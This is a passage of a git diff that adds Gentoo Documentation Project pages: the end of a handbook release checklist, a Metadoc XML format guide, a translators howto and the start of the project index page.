+  <li>
+    Remove the draft disclaimers from the networkless handbook-$arch index
+    pages.
+  </li>
+  <li>Remove any &lt;-- TODO --&gt; comments or other notes to yourself.</li>
+  <li>
+    Make sure that you've tarred up the networkless handbooks and given them to
+    releng for the install CDs, as outlined previously.
+  </li>
+  <li>
+    Move the files from <path>handbook/draft/</path> into
+    <path>handbook/</path>, overwriting the old ones and removing outdated files
+    where necessary.
+  </li>
+  <li>Make sure <path>metadoc.xml</path> is correct</li>
+  <li>
+    Manually verify that each and every single file you touched is the way you
+    want it. (Got your caffeine handy?)
+  </li>
+  <li>
+    Make sure you haven't forgotten any patches or content from the handbook
+    release tracker bug.
+  </li>
+  <li>
+    Once you're satisfied that everything is ready, <c>cd</c> into the topmost
+    directory, usually <path>/doc/en/</path> and make an <e>atomic</e> commit;
+    that is, commit everything at once so it all goes "live" at the same time.
+  </li>
+  <li>
+    Communicate with your fellow developers: send announcements/status updates
+    to the tracker bug and to any required mailing lists
+  </li>
+  <li><e>Take a deep breath</e></li>
+  <li>
+    Go back and re-examine every single file you just committed. Have you been
+    watching gentoo-doc-cvs? ;) There's almost always something that was
+    overlooked; now is the time to make sure you aren't forgetting any content.
+  </li>
+</ol>
+
+<p>
+Eventually, once the release is out the door and everything is more-or-less
+straightened out, you can go ahead and close that tracker bug. Feels good,
+doesn't it? Now you get to fix the user and developer bug reports as they come
+in!
+</p>
+
+<p>
+And then, before you know it, it'll be time to begin the release cycle <e>all
+over again</e> . . . :)
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Pre-release Quick Checklist</title>
+<section>
+<body>
+
+<p>
+Here's an abbreviated version of most of the above, to be done immediately
+before the final "live" commit:
+</p>
+
+<ul>
+  <li>
+    Networked handbook files in <path>handbook/draft/</path>. Check the
+    handbook-$arch pages. Fix inter/intra-document links, release version
+    numbers, and file/date revbumps.
+  </li>
+  <li>
+    The handbook <path>index.xml</path> pages; check the listed translations and
+    other info
+  </li>
+  <li>
+    Networkless handbook files in <path>handbook/$new-release/</path>. Same
+    checks as the networked files. Remove draft disclaimers.
+  </li>
+  <li>
+    Networking handbook check for <path>handbook/draft/</path>: current and
+    consistent
+  </li>
+  <li>
+    Portage handbook check for <path>handbook/draft/</path>: current and
+    consistent
+  </li>
+  <li>
+    Security handbook check for <path>/doc/en/security/</path>: this is
+    low-maintenance, but check anyway
+  </li>
+  <li>
+    Check <path>/doc/en/</path> for pending changes to these top-level files.
+    Includes quickinstalls, FAQs, upgrade guides, kernel guides, etc.
+  </li>
+  <li>
+    <path>metadoc.xml</path> check: verify the files that make up the new
+    release. Overwrite the old ones listed and revbump metadoc.
+  </li>
+  <li>
+    Validate every single file in <path>/doc/en/</path>,
+    <path>handbook/draft/</path>,and <path>handbook/$new-release/</path> with
+    <c>xmllint --valid --noout</c>. Yes, again. Fix errors.
+  </li>
+  <li>Check the handbook release tracker bug for any remaining tasks</li>
+  <li><c>cd</c> to <path>/doc/en/</path> and make your atomic commit.</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/doc/metadoc-guide.xml b/xml/htdocs/proj/en/gdp/doc/metadoc-guide.xml
new file mode 100644
index 00000000..abe257f8
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/doc/metadoc-guide.xml
@@ -0,0 +1,486 @@
+<?xml version='1.0' encoding='UTF-8'?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gdp/doc/metadoc-guide.xml,v 1.5 2007/06/10 19:33:13 nightmorph Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="metadoc-guide.xml">
+<title>Gentoo Metadoc XML Guide</title>
+
+<author title="Author">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<author title="Editor">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+
+<abstract>
+This guide informs developers how to use the Metadoc XML format that allows the
+Gentoo Documentation Project to keep its documentation in a hierarchical manner
+and allow more information to be stored about each document.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.2</version>
+<date>2005-04-04</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Why is MetadocXML Needed?</title>
+<body>
+
+<p>
+MetadocXML is not needed, it's an additional resource for the Gentoo
+Documentation Project to keep track of documents, even if they are located
+outside of the normal <path>[gentoo]/xml/htdocs/doc</path> scope.
+</p>
+
+<p>
+Thanks to MetadocXML, we can now
+</p>
+
+<ul>
+  <li>
+    track documents that are located inside project webspaces
+    (<path>/proj</path>) instead of the usual documentation repository
+    (<path>/doc</path>)
+  </li>
+  <li>
+    categorize documentation into various categories (or subcategories) with the
+    additional benefit that we can now automatically generate the documentation
+    index (and more)
+  </li>
+  <li>
+    track unofficial documentation team members (such as translators)
+  </li>
+  <li>
+    use parts of big documents (Handbooks) as individual guides on certain
+    topics
+  </li>
+  <li>
+    assign bugs to particular documents for quick reference and with the
+    possibility of masking out a document in case of a major showstopping bug
+  </li>
+  <li>
+    primitively check if a translated file is in sync with its English
+    counterpart or not
+  </li>
+</ul>
+
+<p>
+Note that the last advantage is primitive and will probably not be extended.
+There are more powerful tools (such as Xavier's <uri
+link="http://dev.gentoo.org/~neysx/trads/trads-doc.html">trads-doc</uri> script)
+that have many more features than this.
+</p>
+
+<p>
+Translation teams that do not use MetadocXML yet don't need to worry - they will
+not lose any current functionality as it only builds upon the existing
+infrastructure - there are no changes to the GuideXML format that need
+MetadocXML.
+</p>
+
+</body>
+</section>
+<section>
+<title>How does MetadocXML Work?</title>
+<body>
+
+<p>
+There is one central file in which all meta information on the documentation is
+maintained. We call this file <path>metadoc.xml</path>. This file should be
+located inside your main repository (<path>/doc/${LANGUAGE}</path>) although
+this is not hard-coded.
+</p>
+
+<p>
+Inside this file, all meta information is stored:
+</p>
+
+<ul>
+  <li>Members of the team</li>
+  <li>Categories in which documents participate</li>
+  <li>Files that are covered</li>
+  <li>Documents that are covered</li>
+  <li>Bugs that are part of a document</li>
+</ul>
+
+<p>
+Next to <path>metadoc.xml</path>, one also can have a dynamically generated index
+file (usually called <path>index.xml</path>), an overview listing of all
+documentation (usually called <path>list.xml</path>) and an overview listing of
+all members, files and bugs (usually called <path>overview.xml</path>).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>The metadoc.xml File</title>
+<section>
+<title>XML Structure</title>
+<body>
+
+<p>
+The <path>metadoc.xml</path> file is started with the usual XML initialisation
+code and Gentoo CVS header information:
+</p>
+
+<pre caption="XML Initialisation">
+&lt;?xml version='1.0' encoding="UTF-8"?&gt;
+&lt;!-- &#36;Header: /var/cvsroot/gentoo/xml/htdocs/doc/en/metadoc.xml,v 1.25 2004/12/23 09:51:30 swift Exp &#36; --&gt;
+&lt;!DOCTYPE metadoc SYSTEM "/dtd/metadoc.dtd"&gt;
+</pre>
+
+<p>
+Then, one starts with the MetadocXML declaration.
+</p>
+
+<pre caption="English MetadocXML declaration">
+&lt;metadoc lang="<comment>en</comment>"&gt;
+</pre>
+
+<p>
+Translators should reference the main <path>/doc/en/metadoc.xml</path> in the
+<c>parent</c> attribute. This lets metadoc identify untranslated files and find
+out whether versions of translated versions and originals still match.
+</p>
+
+<pre caption="Translated MetadocXML declaration">
+&lt;metadoc lang="<comment>language code</comment>" parent="/doc/en/metadoc.xml"&gt;
+</pre>
+
+<p>
+Beneath the <c>metadoc</c> entity, the following entities should be declared (in
+the given order):
+</p>
+
+<ul>
+  <li>
+    <c>version</c> to help keep track of changes
+  </li>
+  <li>
+    <c>members</c> which declares all members of the given language team
+  </li>
+  <li>
+    <c>categories</c> which declares the possible categories used
+  </li>
+  <li>
+    <c>files</c> which contains all files covered by the Metadoc file
+  </li>
+  <li>
+    <c>docs</c> which contains all documents covered by the Metadoc file
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>The Version Entity</title>
+<body>
+
+<p>
+The version number should be increased when a document or a file is added or
+removed, when a path is changed or on any update that might have an impact on
+translated versions.
+</p>
+
+</body>
+</section>
+<section>
+<title>The Members Entity</title>
+<body>
+
+<p>
+Inside the members entity, one can declare two 'types' of members: <c>lead</c>
+and <c>member</c>. A <c>lead</c> should be known by the Gentoo Developers
+Relations as it takes only the nickname of the Lead developer and looks it up in
+the Gentoo Memberlist. A <c>member</c> can either be a Gentoo Developer (in
+which case only a nickname is given) or a contributor.
+</p>
+
+<p>
+In case of a contributor, a <c>member</c> tag is given two attributes,
+<c>mail</c> and <c>fullname</c>, containing the contributor's e-mail address and
+full name.
+</p>
+
+<pre caption="Example use of the members entity">
+&lt;members&gt;
+  &lt;lead&gt;swift&lt;/lead&gt;
+  &lt;lead&gt;neysx&lt;/lead&gt;
+  &lt;member&gt;dertobi123&lt;/member&gt;
+  &lt;member mail="gentoo_contributor@gmail.com" fullname="John Doe"&gt;jdoe&lt;/member&gt;
+&lt;/members&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>The Categories Entity</title>
+<body>
+
+<p>
+Inside the <c>categories</c> entity one only declares <c>cat</c> entities. Each
+<c>cat</c> entity covers one Category. It uses one mandatory parameter <c>id</c>
+which is used to reference the category. You can also define a parameter
+<c>parent</c> in case the category is a child of another category.
+</p>
+
+<p>
+In this case, the <c>parent</c> attribute references the <c>id</c> attribute of
+the parent category.
+</p>
+
+<pre caption="Example use of the categories entity">
+&lt;categories&gt;
+  &lt;cat id="faq"&gt;Frequently Asked Questions&lt;/cat&gt;
+  &lt;cat id="install"&gt;Installation Related Resources&lt;/cat&gt;
+  &lt;cat id="install_guides"&gt;Installation Guides&lt;/cat&gt;
+&lt;/categories&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>The Files Entity</title>
+<body>
+
+<p>
+The <c>files</c> entity contains only <c>file</c> entities.
+</p>
+
+<p>
+Each <c>file</c> entity references a single XML file. It has a mandatory
+<c>id</c> attribute which should be seen as a primary key to lookup the file.
+Metadoc will compare the file name defined with the same <c>id</c> attribute in
+the metadoc's parent file (defined in the root element) to find out whether the
+file is a translation or an untranslated file. File names would be identical in
+the latter case.
+</p>
+
+<p>
+The metadoc file itself can be listed and will appear on the overview page.
+</p>
+
+<pre caption="Files entity examples">
+&lt;files&gt;
+  &lt;file id="metadoc"&gt;/doc/en/metadoc.xml&lt;/file&gt;
+  &lt;file id="ati-faq"&gt;/doc/en/ati-faq.xml&lt;/file&gt;
+&lt;/files&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>The Docs Entity</title>
+<body>
+
+<p>
+The <c>docs</c> entity should only contain <c>doc</c> entities.
+</p>
+
+<p>
+Each <c>doc</c> entity has a mandatory <c>id</c> attribute which should be seen
+as a primary key for the document.
+</p>
+
+<p>
+Inside each <c>doc</c> entity, at least one entity should be available: the
+<c>fileid</c> entity, which refers to the <c>id</c> attribute of a <c>file</c>
+entity corresponding with the main file for the document.
+</p>
+
+<p>
+In case of a handbook chapter, one must refer to the main handbook page (the top
+handbook XML file). The <c>fileid</c> entity then contains two additional
+parameters, called <c>vpart</c> and <c>vchap</c> which refer to the
+corresponding part and chapter of the document inside the handbook.
+</p>
+
+<p>
+Inside the <c>doc</c> entity, two other entities are possible:
+</p>
+
+<ul>
+  <li>
+    One or more <c>memberof</c> entities, referring to the category or
+    categories in which the document is located (note that a document can be in
+    several categories at once)
+  </li>
+  <li>
+    One <c>bugs</c> entity containing one or more <c>bug</c> entities. A
+    <c>bug</c> entity refers to a bugnumber that covers a bug in the document.
+    In case of a major bug, one can add the attribute <c>stopper="yes"</c> to
+    the <c>bug</c> entity in order for the document not to appear on the
+    generated index page.
+  </li>
+</ul>
+
+<pre caption="Example Docs entity">
+&lt;docs&gt;
+  &lt;doc id="handbook_x86"&gt;
+    &lt;memberof&gt;install_guides&lt;/memberof&gt;
+    &lt;fileid&gt;handbook-x86&lt;/fileid&gt;
+    &lt;bugs&gt;
+      &lt;bug&gt;70753&lt;/bug&gt;
+    &lt;/bugs&gt;
+  &lt;/doc&gt;
+  &lt;doc id="portage-intro"&gt;
+    &lt;memberof&gt;gentoo_portage&lt;/memberof&gt;
+    &lt;fileid vpart="2" vchap="1"&gt;handbook-x86&lt;/fileid&gt;
+  &lt;/doc&gt;
+  &lt;doc id="uml"&gt;
+    &lt;memberof&gt;sysadmin_general&lt;/memberof&gt;
+    &lt;fileid&gt;uml&lt;/fileid&gt;
+  &lt;/doc&gt;
+&lt;/docs&gt;
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>The Additional MetadocXML Files</title>
+<section>
+<title>Automatically Generated Index</title>
+<body>
+
+<p>
+When you want an automatically generated index, you should start the document
+with the following code:
+</p>
+
+<pre caption="Dynamically Generated Index">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;?xml-stylesheet href="/xsl/metadoc.xsl" type="text/xsl"?&gt;
+&lt;?xml-stylesheet href="/xsl/guide.xsl"   type="text/xsl"?&gt;
+
+&lt;!-- &#36;Header&#36; --&gt;
+
+&lt;!DOCTYPE dynamic SYSTEM "/dtd/metadoc.dtd"&gt;
+
+<comment>&lt;!-- Substitute "/doc/en/metadoc.xml" with the location of your metadoc file --&gt;</comment>
+&lt;dynamic metadoc="<i>/doc/en/metadoc.xml</i>"&gt;
+&lt;title&gt;<i>Gentoo Documentation Resources</i>&lt;/title&gt;
+&lt;intro&gt;
+
+<comment>(...)</comment>
+
+&lt;/intro&gt;
+
+&lt;catid&gt;<i>faq</i>&lt;/catid&gt;
+&lt;catid&gt;<i>install</i>&lt;/catid&gt;
+
+&lt;/dynamic&gt;
+</pre>
+
+<p>
+In between the <c>intro</c> tags you should write one or more sections which
+will always appear on the top of the page. You will probably want to write an
+introduction and some additional information for the reader to know who to
+contact in case of translation mishaps or other issues.
+</p>
+
+<p>
+Inside the <c>intro</c> tags you can use plain GuideXML starting from
+<c>section</c>.
+</p>
+
+<p>
+The <c>catid</c> tags refer to the main categories used by the dynamical index.
+You should list each possible non-child category that is declared in your
+metadoc file. <e>Do not list</e> categories that are children of another
+category.
+</p>
+
+</body>
+</section>
+<section>
+<title>Dynamically Generated List Document</title>
+<body>
+
+<p>
+A dynamically generated list document starts identically to a dynamically
+generated index file:
+</p>
+
+<pre caption="Dynamically generated list document">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;?xml-stylesheet href="/xsl/metadoc.xsl" type="text/xsl"?&gt;
+&lt;?xml-stylesheet href="/xsl/guide.xsl"   type="text/xsl"?&gt;
+
+&lt;!-- &#36;Header&#36; --&gt;
+
+&lt;!DOCTYPE dynamic SYSTEM "/dtd/metadoc.dtd"&gt;
+
+<comment>&lt;!-- Substitute "/doc/en/metadoc.xml" with the location of your metadoc file --&gt;</comment>
+&lt;dynamic metadoc="<i>/doc/en/metadoc.xml</i>"&gt;
+&lt;title&gt;<i>Gentoo Documentation Listing</i>&lt;/title&gt;
+</pre>
+
+<p>
+However, there is no <c>intro</c> tag. What needs to be added are all the top
+categories used by the listing. To differentiate this from the index (which will
+also display the abstract information on each document) this happens between
+<c>list</c> tags inside <c>listing</c>:
+</p>
+
+<pre caption="Listing of categories">
+&lt;listing&gt;
+  &lt;list&gt;faq&lt;/list&gt;
+  &lt;list&gt;install&lt;/list&gt;
+&lt;/listing&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Dynamically Generated Overview Document</title>
+<body>
+
+<p>
+The overview document is started similarly as the two documents decribed above:
+</p>
+
+<pre caption="Dynamically generated overview document">
+&lt;?xml version='1.0' encoding='UTF-8'?&gt;
+&lt;?xml-stylesheet href="/xsl/metadoc.xsl" type="text/xsl"?&gt;
+&lt;?xml-stylesheet href="/xsl/guide.xsl"   type="text/xsl"?&gt;
+
+&lt;!-- &#36;Header&#36; --&gt;
+
+&lt;!DOCTYPE dynamic SYSTEM "/dtd/metadoc.dtd"&gt;
+
+<comment>&lt;!-- Substitute "/doc/en/metadoc.xml" with the location of your metadoc file --&gt;</comment>
+&lt;dynamic metadoc="<i>/doc/en/metadoc.xml</i>"&gt;
+&lt;title&gt;<i>Documentation Development Overview</i>&lt;/title&gt;
+</pre>
+
+<p>
+You can again write up a small introduction in GuideXML between the <c>intro</c>
+XML tags, starting from a <c>section</c> up. Once that is finished, a single tag
+<c>&lt;overview/&gt;</c> is sufficient.
+</p>
+
+<pre caption="Intro and overview tags">
+&lt;intro&gt;
+<comment>(...)</comment>
+&lt;/intro&gt;
+
+&lt;overview/&gt;
+</pre>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/doc/testfile b/xml/htdocs/proj/en/gdp/doc/testfile
new file mode 100644
index 00000000..e9856eb6
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/doc/testfile
@@ -0,0 +1 @@
+Test 2:is the ML back?
diff --git a/xml/htdocs/proj/en/gdp/doc/translators-howto.xml b/xml/htdocs/proj/en/gdp/doc/translators-howto.xml
new file mode 100644
index 00000000..2e9e4545
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/doc/translators-howto.xml
@@ -0,0 +1,389 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gdp/doc/translators-howto.xml,v 1.14 2005/06/01 20:41:41 swift Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="translators-howto.xml">
+<title>Translators Howto for Gentoo Documentation</title>
+<author title="Author">
+    <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+
+<abstract>
+A frequently asked question is how to become a translator and what actions
+should be performed both to become one and to act as one. This document tries to
+explain all this.
+</abstract>
+
+<license/>
+
+<version>0.16</version>
+<date>2005-06-01</date>
+
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>What does this document explain?</title>
+<body>
+
+<p>
+Frequently, people are interested in joining the Gentoo translation teams and
+contributing to the translation efforts. However, few of them know what a
+translator does, needs to know and how translations are handled. This howto
+should answer most questions, and if you still have some questions left, contact
+<mail link="neysx@gentoo.org">Xavier Neys</mail> or <mail 
+link="swift@gentoo.org">Sven Vermeulen</mail>.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Situation</title>
+<section>
+<title>Structure</title>
+<body>
+
+<p>
+The <uri link="/proj/en/gdp/">Gentoo Documentation Project</uri> has a separate
+<uri link="/proj/en/gdp/international.xml">Internationalisation Project</uri>
+which involves all translation efforts. This subproject is lead by <mail
+link="neysx@gentoo.org">Xavier Neys</mail> and embraces all translation
+teams.
+</p>
+
+<p>
+Every translation team is lead by a <e>Lead Translator</e>. This person is
+responsible for all the translations created by the translation team. You can
+find the <e>Lead Translator</e> for your language on the <uri
+link="/proj/en/gdp/international.xml">Internationalisation Project Page</uri>.
+</p>
+
+<p>
+In case the <e>Lead Translator</e> is off (vacation, exams, network connectivity
+issues, ...) the <e>Translator Follow-Up</e> takes over his job. Both the
+<e>Lead Translator</e> and <e>Follow-Up Lead Translator</e> are Gentoo
+Developers and should act like one.
+</p>
+
+</body>
+</section>
+<section id="trans_situation">
+<title>Lead Translator and Translator Follow-Up</title>
+<body>
+
+<p>
+The <e>Lead Translator</e> acts as the translation lead, his successor is the
+<e>Translator Follow-Up</e>. Both developers must be acquainted
+with the following important documents:
+</p>
+
+<ul>
+  <li>
+    <uri link="/proj/en/devrel/handbook/handbook.xml?part=3&amp;chap=1">Gentoo 
+    Ebuild Policy</uri>:
+    Although this document is most important for Ebuild-writers, the <e>Lead
+    Translator</e> and <e>Translator Follow-Up</e> must understand this 
+    document. As Gentoo Developers they are supposed to be able to answer the 
+    common questions about Gentoo that are discussed in this document (such as 
+    QA and masked packages).
+  </li>
+  <li>
+    <uri link="/proj/en/gdp/doc/doc-policy.xml">Gentoo Documentation
+    Policy</uri>: Every Gentoo Documentation Developer, including the <e>Lead
+    Translator</e> and <e>Translator Follow-Up</e> must read and learn this
+    policy by heart. It lists all guidelines regarding documentation
+    development. Not adhering to this policy may lead to sanctions.
+  </li>
+  <li>
+    <uri link="/doc/en/xml-guide.xml">Gentoo Linux XML Guide</uri>: All Gentoo
+    Documentation is written in GuideXML, an easy-to-learn and easy-to-write
+    format that allows us to easily convert the documentation to any format
+    using XSLT. This document explains how GuideXML is structured <e>and</e>
+    discloses the Coding Style used in the Gentoo Documentation Project.
+  </li>
+</ul>
+
+<p>
+The <e>Lead Translator</e> has CVS commit access to the documentation tree in
+Gentoo's CVS repository. The <e>Lead Translator</e> and his <e>Follow-Up</e>
+are allowed to add and update translations on the website. He is responsible
+for the translations on the website and for their accuracy. Failing to
+correctly review the translations (resulting in wrong instructions in our
+translated guides that don't exist in the English versions) is a serious error.
+</p>
+
+</body>
+</section>
+<section>
+<title>Translation Teams</title>
+<body>
+
+<p>
+Every translation team is free to organise their translation efforts as they see
+fit. If a team requires a common mailinglist, they can contact <mail
+link="swift@gentoo.org">Sven Vermeulen</mail> to setup a translation-specific
+mailinglist for their language (gentoo-doc-${LANG}@gentoo.org). 
+</p>
+
+<p>
+Unlike the <e>Lead Translator</e> and <e>Translator Follow-Up</e>, the members
+of the translation team have no CVS access nor Gentoo Developer status. They do
+not have to adhere to the restrictions of the Gentoo Developer as listed above.
+It is up to the <e>Lead Translator</e> to provide the translation team members
+with the necessary information. However, <uri
+link="/proj/en/gdp/doc/doc-tipsntricks.xml">tips and tricks</uri> are available
+that can be of help for the translation efforts.
+</p>
+
+<p>
+Translators will probably want to subscribe to our <mail
+link="gentoo-doc-cvs@gentoo.org">CVS mailing list</mail>. Whenever a Gentoo
+developer commits a new English version of a document, a message is mailed to
+this list. The mail contains the list of committed files and a diff of modified
+files. Check our <uri link="/main/en/lists.xml">mailing lists page</uri> to
+learn how to subscribe to our lists.
+</p>
+
+<p>
+Translation teams can opt to use the <uri
+link="/proj/en/gdp/doc/metadoc-guide.xml">metadoc.xml</uri> file for their
+language. This file also allows translation team members to be listed on the
+website when the overview page functionality is used.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Requirements</title>
+<section id="trans_req">
+<title>Translation Accuracy</title>
+<body>
+
+<p>
+Translations available on the Gentoo website must be as accurate as possible.
+The installation instructions (<uri
+link="/doc/en/handbook/handbook-x86.xml?part=1">Part I</uri> of the <uri
+link="/doc/en/handbook/index.xml">Gentoo Handbook</uri>) are the most important
+instructions and have absolute priority over all other documents. They may not
+lag <e>more than three days</e> behind on the English document in case of
+<b>important</b> updates (which will be announced on <mail
+link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> by the <e>Operational
+Manager</e> with "Important" in the subject. Less important updates are not
+announced; in this case the documentation must be <e>accurate to two weeks</e>.
+</p>
+
+<p>
+Operational documents (listed below) have the second highest priority. Their
+translations may not lag <e>more than two weeks</e> behind on the English
+document in case of <b>important</b> updates (which will be announced on <mail
+link="gentoo-doc@gentoo.org">gentoo-doc@gentoo.org</mail> by the <e>Operational
+Manager</e> with "Important" in the subject. Less important updates are not
+announced; in this case the documentation must be <e>accurate to three
+weeks</e>.
+</p>
+
+<p>
+Operational documents are:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/en/altinstall.xml">Alternative Installation Guide</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/handbook/handbook-x86.xml?part=2">Part II</uri> of the
+    <uri link="/doc/en/handbook/index.xml">Gentoo Handbook</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/security/">Gentoo Security Handbook</uri>
+  </li>
+  <li>
+    <uri link="/doc/en/alsa-guide.xml">ALSA Configuration Guide</uri>
+  </li>
+</ul>
+
+<p>
+All other documentation may not lag more than <e>two months</e> behind.
+</p>
+
+<p>
+In case these requirements cannot be met, the translations must be
+<e>unlinked</e> from the website until they are updated. In case a complete
+language fails to have updated documentation (meaning that most documents are
+unlinked from the main page) the <e>Operational Manager</e> is in charge of the
+language.
+</p>
+
+</body>
+</section>
+<section>
+<title>Documentation that does not require translations</title>
+<body>
+
+<p>
+The following documents are not required to be translated. They are targeted at Gentoo
+Developers who should understand the English language:
+</p>
+
+<ul>
+  <li>
+    <uri link="/proj/en/devrel/handbook/handbook.xml">Gentoo Development Handbook</uri>
+  </li>
+  <li>
+    <uri link="/proj/en/gdp/doc/doc-policy.xml">Gentoo Linux Documentation Policy</uri>
+  </li>
+  <li>
+    All project-specific documentation located in
+    <path>[gentoo]/xml/htdocs/proj/</path>.
+  </li>
+</ul>
+
+<p>
+However, teams that have enough resources and feel there is a demand amongst
+their community for translations of project pages, are welcome to translate
+<e>and maintain</e> them. Please do contact the project leads or members to
+make sure the documentation is up-to-date and not about to be significantly
+changed before undertaking such a translation.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Contributing</title>
+<section>
+<title>Contacting the Lead Translator</title>
+<body>
+
+<p>
+Contributors should contact the <e>Lead Translator</e> listed on the <uri
+link="/proj/en/gdp/international.xml">Internationalisation Project Page</uri> 
+to ask how they can help. The <e>Lead Translator</e> should then inform the 
+potential translation member about how the translations for his language are 
+managed.  
+</p>
+
+<p>
+In case a contributor believes that the <e>Lead Translator</e> does not perform
+well, he can always contact <mail link="neysx@gentoo.org">Xavier
+Neys</mail> or <mail link="swift@gentoo.org">Sven Vermeulen</mail> to
+express his concerns.
+</p>
+
+</body>
+</section>
+
+<!--
+<section>
+<title>Assigning Copyright to Gentoo</title>
+<body>
+
+<p>
+All documentation, including translations, must be released under the <uri
+link="http://creativecommons.org/licenses/by-sa/2.0">Creative Commons -
+Attribution / Share Alike</uri> license. Second, to be able to protect the
+documentation from infringement, Gentoo requires all contributors and developers
+to assign their copyright to Gentoo. This Copyright Assignation clearly states
+that the copyright is Gentoo's, but that Gentoo can not change the license on
+the documentation (otherwise the Copyright Assignment is no longer valid).
+</p>
+
+</body>
+</section>
+-->
+</chapter>
+
+<chapter>
+<title>Requesting Lead Translator / Translator Follow-Up status</title>
+<section>
+<title>Preliminary Requirements</title>
+<body>
+
+<p>
+All requirements as defined in <uri link="#trans_situation">Lead Translator and
+Translator Follow-Up</uri> must be met. In addition, the candidate (with
+co-operation of his translation team if applicable) must submit a
+considerable amount of translated documents to <uri
+link="http://bugs.gentoo.org">Gentoo's Bugtracking System</uri>. This ensures
+that:
+</p>
+
+<ul>
+  <li>
+    The language has a certain amount of documents ready for the community
+  </li>
+  <li>
+    The translation team knows what efforts translations require
+  </li>
+  <li>
+    The translation team knows how to handle GuideXML and the Coding Style
+  </li>
+</ul>
+
+<p>
+The documents that are required before a language can be considered for
+inclusion on the <uri link="/">Gentoo Website</uri> are:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/en/handbook/">Part I</uri> of the Gentoo Handbook (all
+    architectures)
+  </li>
+  <li>
+    At least one of the operational documents listed in <uri
+    link="#trans_req">Translation Accuracy</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Asking for Developer Status</title>
+<body>
+
+<p>
+If the preliminary requirements are met, the <e>Lead Translator</e> candidate
+and <e>Translator Follow-Up</e> candidate should mail the following
+information to <mail
+link="swift@gentoo.org">Sven Vermeulen</mail> with Cc to <mail
+link="neysx@gentoo.org">Xavier Neys</mail>:
+</p>
+
+<ul>
+  <li>Full name</li>
+  <li>Nickname, registered on irc.freenode.net</li>
+  <li>E-mail address</li>
+  <li>GPG Information (Key-ID)</li>
+  <li>Language</li>
+  <li>
+    Requested Status (<e>Lead Translator</e> or <e>Translator Follow-Up</e>)
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Developer Status Progress</title>
+<body>
+
+<p>
+If the preliminary requirements are met and all necessary information is
+delivered, the candidate will be contacted by <mail link="avenj@gentoo.org">Jon
+Portnoy</mail> or <mail link="seemant@gentoo.org">Seemant Kulleen</mail> for 
+his <uri link="/proj/en/infrastructure/cvs-sshkeys.xml#doc_chap1_sect1">SSH
+Key</uri>. Keep the private key <b>private</b>!
+</p>
+
+<p>
+When your account has been set up, a <e>mentor</e> will be assigned (mostly a
+senior <e>Lead Translator</e>) to aid you in committing the documents and
+managing the translations.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/index.xml b/xml/htdocs/proj/en/gdp/index.xml
new file mode 100644
index 00000000..56ca2faf
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/index.xml
@@ -0,0 +1,182 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>Documentation</name>
+<longname>Gentoo Documentation Project</longname>
+<date>2010-04-28</date>
+
+<description>
+The Gentoo Documentation Project is devoted to the creation and maintenance of
+complete and concise documentation for the Gentoo Project.
+</description>
+
+<longdescription>
+
+<p>
+<b>What we do, and who we are</b>
+</p>
+
+<p>
+The Gentoo Documentation Project (GDP) is responsible for the creation and
+maintenance of all official Gentoo documentation. The GDP is not a closed team
+of any sorts, but instead an open community committed to critiquing, and
+possibly integrating, viable user documentation.
+</p>
+
+<p>
+<b>Mission Statement</b>
+</p>
+
+<p>
+The Gentoo Documentation Project was formed to address the need of
+complete documentation for Gentoo. In doing so, the GDP team is committed
+to the creation and maintenance of clear, concise, and original
+documentation. We will protect our users and developers by the use of
+free and open licensing on all documentation. The GDP is committed to
+remaining a free and open project, and will abide by the Social Contract
+set forth by the Gentoo Project.
+</p>
+
+</longdescription>
+
+<!-- Developer Roles -->
+<!-- (with CVS access) -->
+<dev role="lead" description="Project Manager">neysx</dev>
+<dev role="Member" description="Editor">fox2mike</dev>
